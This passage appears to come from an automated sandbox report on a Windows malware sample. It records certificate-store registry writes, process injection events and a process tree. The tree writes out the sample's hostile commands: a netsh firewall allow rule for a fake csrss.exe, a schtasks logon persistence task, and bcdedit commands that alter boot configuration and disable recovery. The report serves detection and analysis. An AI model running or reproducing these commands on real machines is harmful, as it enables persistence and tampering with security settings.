23f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6	patch.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D4DE20D05E66FC53FE1A50882C78DB2852CAE474\Blob = 19000000010000001000000068cb42b035ea773e52ef50ecf50ec5290f0000000100000014000000ce0e658aa3e847e467a147b3049191093d055e6f0b0000000100000034000000420061006c00740069006d006f007200650020004300790062006500720054007200750073007400200052006f006f007400000053000000010000002400000030223020060a2b06010401b13e01640130123010060a2b0601040182373c0101030200c0140000000100000014000000e59d5930824758ccacfa085436867b3ab5044df01d0000000100000010000000918ad43a9475f78bb5243de886d8103c09000000010000000c000000300a06082b06010505070301030000000100000014000000d4de20d05e66fc53fe1a50882c78db2852cae474040000000100000010000000acb694a59c17e0d791529bb19706a6e420000000010000007b030000308203773082025fa0030201020204020000b9300d06092a864886f70d0101050500305a310b300906035504061302494531123010060355040a130942616c74696d6f726531133011060355040b130a43796265725472757374312230200603550403131942616c74696d6f7265204379626572547275737420526f6f74301e170d3030303531323138343630305a170d3235303531323233353930305a305a310b300906035504061302494531123010060355040a130942616c74696d6f726531133011060355040b130a43796265725472757374312230200603550403131942616c74696d6f7265204379626572547275737420526f6f7430820122300d06092a864886f70d01010105000382010f003082010a0282010100a304bb22ab983d57e826729ab579d429e2e1e89580b1b0e35b8e2b299a64dfa15dedb009056ddb282ece62a262feb488da12eb38eb219dc0412b01527b8877d31c8fc7bab988b56a09e773e81140a7d1ccca628d2de58f0ba650d2a850c328eaf5ab25878a9a961ca967b83f0cd5f7f952132fc21bd57070f08fc012ca06cb9ae1d9ca337a77d6f8ecb9f16844424813d2c0c2a4ae5e60feb6a605fcb4dd075902d459189863f5a563e0900c7d5db2067af385eaebd403ae5e843e5fff15ed69bcf939367275cf77524df3c9902cb93de5c923533f1f2498215c079929bdc63aece76e863a6b97746333bd681831f0788d76bffc9e8e5d2a86a74d90dc271a390203010001a3453043301d0603551d0e04160414e59d5930824758ccacfa085436867b3ab5044df030120603551d130101ff040830060101ff020103300e0603551d0f0101ff040403020106300d06092a864886f70d01010505000382010100850c5d8ee46f51684205a0ddbb4f27258403bdf764fd2dd730e3a41017ebda2929b6793f76f6191323b8100af958a4d46170bd04616a128a17d50abdc5bc307cd6e90c258d86404feccca37e38c637114feddd68318e4cd2b30174eebe755e07481a7f70ff165c84c07985b805fd7fbe6511a30fc002b4f852373904d5a9317a18bfa02af41299f7a34582e33c5ef59d9eb5c89e7c2ec8a49e4e08144b6dfd706d6b1a63bd64e61fb7cef0f29f2ebb1bb7f250887392c2e2e3168d9a3202ab8e18dde91011ee7e35ab90af3e30947ad0333da7650ff5fc8e9e62cf47442c015dbb1db532d247d2382ed0fe81dc326a1eb5ee3cd5fce7811d19c32442ea6339a9	patch.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 0f00000001000000200000004b4eb4b074298b828b5c003095a10b4523fb951c0c88348b09c53e5baba408a3030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a42000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6	patch.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 1400000001000000140000004e2254201895e6e36ee60ffafab912ed06178f39030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a40f00000001000000200000004b4eb4b074298b828b5c003095a10b4523fb951c0c88348b09c53e5baba408a32000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6	patch.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4	patch.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 19000000010000001000000014c3bd3549ee225aece13734ad8ca0b81400000001000000140000004e2254201895e6e36ee60ffafab912ed06178f39030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a40f00000001000000200000004b4eb4b074298b828b5c003095a10b4523fb951c0c88348b09c53e5baba408a3040000000100000010000000e4a68ac854ac5242460afd72481b2a442000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6	patch.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D4DE20D05E66FC53FE1A50882C78DB2852CAE474	patch.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D4DE20D05E66FC53FE1A50882C78DB2852CAE474\Blob = 0f0000000100000014000000ce0e658aa3e847e467a147b3049191093d055e6f0b0000000100000034000000420061006c00740069006d006f007200650020004300790062006500720054007200750073007400200052006f006f007400000053000000010000002400000030223020060a2b06010401b13e01640130123010060a2b0601040182373c0101030200c0140000000100000014000000e59d5930824758ccacfa085436867b3ab5044df01d0000000100000010000000918ad43a9475f78bb5243de886d8103c09000000010000000c000000300a06082b06010505070301030000000100000014000000d4de20d05e66fc53fe1a50882c78db2852cae47420000000010000007b030000308203773082025fa0030201020204020000b9300d06092a864886f70d0101050500305a310b300906035504061302494531123010060355040a130942616c74696d6f726531133011060355040b130a43796265725472757374312230200603550403131942616c74696d6f7265204379626572547275737420526f6f74301e170d3030303531323138343630305a170d3235303531323233353930305a305a310b300906035504061302494531123010060355040a130942616c74696d6f726531133011060355040b130a43796265725472757374312230200603550403131942616c74696d6f7265204379626572547275737420526f6f7430820122300d06092a864886f70d01010105000382010f003082010a0282010100a304bb22ab983d57e826729ab579d429e2e1e89580b1b0e35b8e2b299a64dfa15dedb009056ddb282ece62a262feb488da12eb38eb219dc0412b01527b8877d31c8fc7bab988b56a09e773e81140a7d1ccca628d2de58f0ba650d2a850c328eaf5ab25878a9a961ca967b83f0cd5f7f952132fc21bd57070f08fc012ca06cb9ae1d9ca337a77d6f8ecb9f16844424813d2c0c2a4ae5e60feb6a605fcb4dd075902d459189863f5a563e0900c7d5db2067af385eaebd403ae5e843e5fff15ed69bcf939367275cf77524df3c9902cb93de5c923533f1f2498215c079929bdc63aece76e863a6b97746333bd681831f0788d76bffc9e8e5d2a86a74d90dc271a390203010001a3453043301d0603551d0e04160414e59d5930824758ccacfa085436867b3ab5044df030120603551d130101ff040830060101ff020103300e0603551d0f0101ff040403020106300d06092a864886f70d01010505000382010100850c5d8ee46f51684205a0ddbb4f27258403bdf764fd2dd730e3a41017ebda2929b6793f76f6191323b8100af958a4d46170bd04616a128a17d50abdc5bc307cd6e90c258d86404feccca37e38c637114feddd68318e4cd2b30174eebe755e07481a7f70ff165c84c07985b805fd7fbe6511a30fc002b4f852373904d5a9317a18bfa02af41299f7a34582e33c5ef59d9eb5c89e7c2ec8a49e4e08144b6dfd706d6b1a63bd64e61fb7cef0f29f2ebb1bb7f250887392c2e2e3168d9a3202ab8e18dde91011ee7e35ab90af3e30947ad0333da7650ff5fc8e9e62cf47442c015dbb1db532d247d2382ed0fe81dc326a1eb5ee3cd5fce7811d19c32442ea6339a9	patch.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D4DE20D05E66FC53FE1A50882C78DB2852CAE474\Blob = 040000000100000010000000acb694a59c17e0d791529bb19706a6e4030000000100000014000000d4de20d05e66fc53fe1a50882c78db2852cae47409000000010000000c000000300a06082b060105050703011d0000000100000010000000918ad43a9475f78bb5243de886d8103c140000000100000014000000e59d5930824758ccacfa085436867b3ab5044df053000000010000002400000030223020060a2b06010401b13e01640130123010060a2b0601040182373c0101030200c00b0000000100000034000000420061006c00740069006d006f007200650020004300790062006500720054007200750073007400200052006f006f00740000000f0000000100000014000000ce0e658aa3e847e467a147b3049191093d055e6f20000000010000007b030000308203773082025fa0030201020204020000b9300d06092a864886f70d0101050500305a310b300906035504061302494531123010060355040a130942616c74696d6f726531133011060355040b130a43796265725472757374312230200603550403131942616c74696d6f7265204379626572547275737420526f6f74301e170d3030303531323138343630305a170d3235303531323233353930305a305a310b300906035504061302494531123010060355040a130942616c74696d6f726531133011060355040b130a43796265725472757374312230200603550403131942616c74696d6f7265204379626572547275737420526f6f7430820122300d06092a864886f70d01010105000382010f003082010a0282010100a304bb22ab983d57e826729ab579d429e2e1e89580b1b0e35b8e2b299a64dfa15dedb009056ddb282ece62a262feb488da12eb38eb219dc0412b01527b8877d31c8fc7bab988b56a09e773e81140a7d1ccca628d2de58f0ba650d2a850c328eaf5ab25878a9a961ca967b83f0cd5f7f952132fc21bd57070f08fc012ca06cb9ae1d9ca337a77d6f8ecb9f16844424813d2c0c2a4ae5e60feb6a605fcb4dd075902d459189863f5a563e0900c7d5db2067af385eaebd403ae5e843e5fff15ed69bcf939367275cf77524df3c9902cb93de5c923533f1f2498215c079929bdc63aece76e863a6b97746333bd681831f0788d76bffc9e8e5d2a86a74d90dc271a390203010001a3453043301d0603551d0e04160414e59d5930824758ccacfa085436867b3ab5044df030120603551d130101ff040830060101ff020103300e0603551d0f0101ff040403020106300d06092a864886f70d01010505000382010100850c5d8ee46f51684205a0ddbb4f27258403bdf764fd2dd730e3a41017ebda2929b6793f76f6191323b8100af958a4d46170bd04616a128a17d50abdc5bc307cd6e90c258d86404feccca37e38c637114feddd68318e4cd2b30174eebe755e07481a7f70ff165c84c07985b805fd7fbe6511a30fc002b4f852373904d5a9317a18bfa02af41299f7a34582e33c5ef59d9eb5c89e7c2ec8a49e4e08144b6dfd706d6b1a63bd64e61fb7cef0f29f2ebb1bb7f250887392c2e2e3168d9a3202ab8e18dde91011ee7e35ab90af3e30947ad0333da7650ff5fc8e9e62cf47442c015dbb1db532d247d2382ed0fe81dc326a1eb5ee3cd5fce7811d19c32442ea6339a9	patch.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4	csrss.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a42000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6	csrss.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2200	119a409ea2f3794f031644a853f1ffa5646cba8cd7ef4caa1344dbe195569234.exe
2692	119a409ea2f3794f031644a853f1ffa5646cba8cd7ef4caa1344dbe195569234.exe
2692	119a409ea2f3794f031644a853f1ffa5646cba8cd7ef4caa1344dbe195569234.exe
2692	119a409ea2f3794f031644a853f1ffa5646cba8cd7ef4caa1344dbe195569234.exe
2692	119a409ea2f3794f031644a853f1ffa5646cba8cd7ef4caa1344dbe195569234.exe
2692	119a409ea2f3794f031644a853f1ffa5646cba8cd7ef4caa1344dbe195569234.exe
1928	injector.exe
1928	injector.exe
1928	injector.exe
1928	injector.exe
1928	injector.exe
1928	injector.exe
1928	injector.exe
1928	injector.exe
1928	injector.exe
1928	injector.exe
1928	injector.exe
1928	injector.exe
1928	injector.exe
1928	injector.exe
1928	injector.exe
1928	injector.exe
1928	injector.exe
1928	injector.exe
1928	injector.exe
1928	injector.exe
1928	injector.exe
1928	injector.exe
2488	csrss.exe
1928	injector.exe
1928	injector.exe
1928	injector.exe
2488	csrss.exe
1928	injector.exe
2488	csrss.exe
1928	injector.exe
1928	injector.exe
1928	injector.exe
1928	injector.exe
1928	injector.exe
1928	injector.exe
1928	injector.exe
1928	injector.exe
1928	injector.exe
1928	injector.exe
1928	injector.exe
1928	injector.exe
1928	injector.exe
1928	injector.exe
1928	injector.exe
1928	injector.exe
1928	injector.exe
1928	injector.exe
1928	injector.exe
1928	injector.exe
1928	injector.exe
1928	injector.exe
1928	injector.exe
1928	injector.exe
1928	injector.exe
1928	injector.exe
1928	injector.exe
1928	injector.exe
1928	injector.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
480	Process not Found

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	2200	119a409ea2f3794f031644a853f1ffa5646cba8cd7ef4caa1344dbe195569234.exe
Token: SeImpersonatePrivilege	2200	119a409ea2f3794f031644a853f1ffa5646cba8cd7ef4caa1344dbe195569234.exe
Token: SeSystemEnvironmentPrivilege	2488	csrss.exe
Token: SeSecurityPrivilege	2640	sc.exe
Token: SeSecurityPrivilege	2640	sc.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2692 wrote to memory of 2408	2692	119a409ea2f3794f031644a853f1ffa5646cba8cd7ef4caa1344dbe195569234.exe	33
PID 2692 wrote to memory of 2408	2692	119a409ea2f3794f031644a853f1ffa5646cba8cd7ef4caa1344dbe195569234.exe	33
PID 2692 wrote to memory of 2408	2692	119a409ea2f3794f031644a853f1ffa5646cba8cd7ef4caa1344dbe195569234.exe	33
PID 2692 wrote to memory of 2408	2692	119a409ea2f3794f031644a853f1ffa5646cba8cd7ef4caa1344dbe195569234.exe	33
PID 2408 wrote to memory of 2500	2408	cmd.exe	35
PID 2408 wrote to memory of 2500	2408	cmd.exe	35
PID 2408 wrote to memory of 2500	2408	cmd.exe	35
PID 2692 wrote to memory of 2488	2692	119a409ea2f3794f031644a853f1ffa5646cba8cd7ef4caa1344dbe195569234.exe	36
PID 2692 wrote to memory of 2488	2692	119a409ea2f3794f031644a853f1ffa5646cba8cd7ef4caa1344dbe195569234.exe	36
PID 2692 wrote to memory of 2488	2692	119a409ea2f3794f031644a853f1ffa5646cba8cd7ef4caa1344dbe195569234.exe	36
PID 2692 wrote to memory of 2488	2692	119a409ea2f3794f031644a853f1ffa5646cba8cd7ef4caa1344dbe195569234.exe	36
PID 2488 wrote to memory of 1928	2488	csrss.exe	43
PID 2488 wrote to memory of 1928	2488	csrss.exe	43
PID 2488 wrote to memory of 1928	2488	csrss.exe	43
PID 2488 wrote to memory of 1928	2488	csrss.exe	43
PID 2748 wrote to memory of 1828	2748	patch.exe	47
PID 2748 wrote to memory of 1828	2748	patch.exe	47
PID 2748 wrote to memory of 1828	2748	patch.exe	47
PID 2748 wrote to memory of 1584	2748	patch.exe	49
PID 2748 wrote to memory of 1584	2748	patch.exe	49
PID 2748 wrote to memory of 1584	2748	patch.exe	49
PID 2748 wrote to memory of 1876	2748	patch.exe	51
PID 2748 wrote to memory of 1876	2748	patch.exe	51
PID 2748 wrote to memory of 1876	2748	patch.exe	51
PID 2748 wrote to memory of 2112	2748	patch.exe	53
PID 2748 wrote to memory of 2112	2748	patch.exe	53
PID 2748 wrote to memory of 2112	2748	patch.exe	53
PID 2748 wrote to memory of 2380	2748	patch.exe	55
PID 2748 wrote to memory of 2380	2748	patch.exe	55
PID 2748 wrote to memory of 2380	2748	patch.exe	55
PID 2748 wrote to memory of 656	2748	patch.exe	57
PID 2748 wrote to memory of 656	2748	patch.exe	57
PID 2748 wrote to memory of 656	2748	patch.exe	57
PID 2748 wrote to memory of 2880	2748	patch.exe	59
PID 2748 wrote to memory of 2880	2748	patch.exe	59
PID 2748 wrote to memory of 2880	2748	patch.exe	59
PID 2748 wrote to memory of 1072	2748	patch.exe	61
PID 2748 wrote to memory of 1072	2748	patch.exe	61
PID 2748 wrote to memory of 1072	2748	patch.exe	61
PID 2748 wrote to memory of 2040	2748	patch.exe	63
PID 2748 wrote to memory of 2040	2748	patch.exe	63
PID 2748 wrote to memory of 2040	2748	patch.exe	63
PID 2748 wrote to memory of 1756	2748	patch.exe	65
PID 2748 wrote to memory of 1756	2748	patch.exe	65
PID 2748 wrote to memory of 1756	2748	patch.exe	65
PID 2748 wrote to memory of 2000	2748	patch.exe	67
PID 2748 wrote to memory of 2000	2748	patch.exe	67
PID 2748 wrote to memory of 2000	2748	patch.exe	67
PID 2748 wrote to memory of 1432	2748	patch.exe	69
PID 2748 wrote to memory of 1432	2748	patch.exe	69
PID 2748 wrote to memory of 1432	2748	patch.exe	69
PID 2748 wrote to memory of 976	2748	patch.exe	71
PID 2748 wrote to memory of 976	2748	patch.exe	71
PID 2748 wrote to memory of 976	2748	patch.exe	71
PID 2488 wrote to memory of 876	2488	csrss.exe	73
PID 2488 wrote to memory of 876	2488	csrss.exe	73
PID 2488 wrote to memory of 876	2488	csrss.exe	73
PID 2488 wrote to memory of 876	2488	csrss.exe	73
PID 2488 wrote to memory of 2240	2488	csrss.exe	75
PID 2488 wrote to memory of 2240	2488	csrss.exe	75
PID 2488 wrote to memory of 2240	2488	csrss.exe	75
PID 2488 wrote to memory of 2240	2488	csrss.exe	75
PID 2440 wrote to memory of 2468	2440	windefender.exe	82
PID 2440 wrote to memory of 2468	2440	windefender.exe	82

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\119a409ea2f3794f031644a853f1ffa5646cba8cd7ef4caa1344dbe195569234.exe
"C:\Users\Admin\AppData\Local\Temp\119a409ea2f3794f031644a853f1ffa5646cba8cd7ef4caa1344dbe195569234.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2200
- C:\Users\Admin\AppData\Local\Temp\119a409ea2f3794f031644a853f1ffa5646cba8cd7ef4caa1344dbe195569234.exe
  "C:\Users\Admin\AppData\Local\Temp\119a409ea2f3794f031644a853f1ffa5646cba8cd7ef4caa1344dbe195569234.exe"
  2⤵
  - Windows security bypass
  - Loads dropped DLL
  - Windows security modification
  - Adds Run key to start application
  - Checks for VirtualBox DLLs, possible anti-VM trick
  - Drops file in Windows directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:2692
- - C:\Windows\system32\cmd.exe
    C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2408
  - - C:\Windows\system32\netsh.exe
      netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
      4⤵
      Modifies Windows Firewall
      Modifies data under HKEY_USERS
      PID:2500
- - C:\Windows\rss\csrss.exe
    C:\Windows\rss\csrss.exe
    3⤵
    - Drops file in Drivers directory
    - Executes dropped EXE
    - Loads dropped DLL
    - Adds Run key to start application
    - Manipulates WinMon driver.
    - Manipulates WinMonFS driver.
    - Drops file in Windows directory
    - Modifies system certificate store
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2488
  - - C:\Windows\system32\schtasks.exe
      schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
      4⤵
      Creates scheduled task(s)
      PID:2916
  - - C:\Windows\system32\schtasks.exe
      schtasks /delete /tn ScheduledUpdate /f
      4⤵
      PID:2932
  - - C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
      "C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Modifies system certificate store
      Suspicious use of WriteProcessMemory
      PID:2748
    - - C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -create {71A3C7FC-F751-4982-AEC1-E958357E6813} -d "Windows Fast Mode" -application OSLOADER
        5⤵
        Modifies boot configuration data using bcdedit
        
        PID:1828
    - - C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} device partition=C:
        5⤵
        Modifies boot configuration data using bcdedit
        
        PID:1584
    - - C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} osdevice partition=C:
        5⤵
        Modifies boot configuration data using bcdedit
        
        PID:1876
    - - C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} systemroot \Windows
        5⤵
        Modifies boot configuration data using bcdedit
        
        PID:2112
    - - C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} path \Windows\system32\osloader.exe
        5⤵
        Modifies boot configuration data using bcdedit
        
        PID:2380
    - - C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} kernel ntkrnlmp.exe
        5⤵
        Modifies boot configuration data using bcdedit
        
        PID:656
    - - C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} recoveryenabled 0
        5⤵
        Modifies boot configuration data using bcdedit
        
        PID:2880
    - - C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nx OptIn
        5⤵
        Modifies boot configuration data using bcdedit
